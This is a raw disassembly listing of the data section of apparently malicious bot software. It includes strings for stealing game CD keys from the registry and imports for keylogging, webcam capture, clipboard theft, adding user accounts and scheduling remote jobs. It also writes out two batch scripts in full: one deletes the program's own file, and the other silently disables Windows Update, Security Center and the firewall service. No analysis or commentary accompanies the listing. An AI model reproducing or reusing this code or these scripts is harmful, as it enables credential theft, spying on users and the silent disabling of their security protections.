aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:00427E98o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o
		align 4
asc_429098:				; DATA XREF: sub_4085D3+E9o
					; sub_4085D3+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085D3+8Fo
					; sub_40CE55:loc_4112ADo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085D3+7Eo
					; sub_4088A0+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
		align 4
unk_4290BC	db    2			; DATA XREF: sub_408788+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290F0	db    2			; DATA XREF: sub_408788+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4088A0+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4088A0+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089F2:loc_40962Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089F2+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089F2+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089F2+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089F2+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089F2+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089F2:loc_40958Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089F2+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089F2+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089F2+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089F2:loc_409487o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089F2:loc_40943Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089F2+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089F2+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089F2+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089F2+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089F2+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089F2+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089F2+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089F2+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089F2:loc_409332o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089F2+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089F2+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089F2:loc_4092D3o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089F2+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089F2+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089F2+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089F2+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089F2+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089F2+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089F2+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089F2+62Do
					; .nsp0:0042C5F0o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089F2+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089F2+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089F2+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089F2+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4089F2+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4089F2+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4089F2+5D2o
					; sub_40CE55+20D7o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089F2+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089F2+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089F2+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4089F2+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089F2+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089F2+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4089F2+577o
					; .nsp0:0042CA00o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089F2+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089F2+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089F2+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089F2+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089F2+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089F2+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089F2+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089F2+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089F2+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089F2+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089F2+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089F2+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089F2+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089F2+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089F2+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089F2+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089F2:loc_408E01o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089F2:loc_408DD9o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089F2+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089F2+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089F2+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089F2+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089F2:loc_408D2Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089F2+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089F2+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089F2:loc_408C51o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089F2+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089F2+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089F2+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089F2+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089F2+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089F2+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089F2+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089F2+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089F2+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089F2:loc_408B27o
					; sub_41E6EE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089F2+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089F2+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089F2+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089F2+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089F2+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089F2+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089F2+Ao
		align 4
dword_429A0C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40967F+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_409CCD+5o
					; sub_414390+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_409D4F+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409E15+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409E15+48o
		align 4
aCA1c_bat	db 'c:\a1c.bat',0       ; DATA XREF: sub_409F9D+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F9D+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42B368	db    2			; DATA XREF: sub_40A093:loc_40A152o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
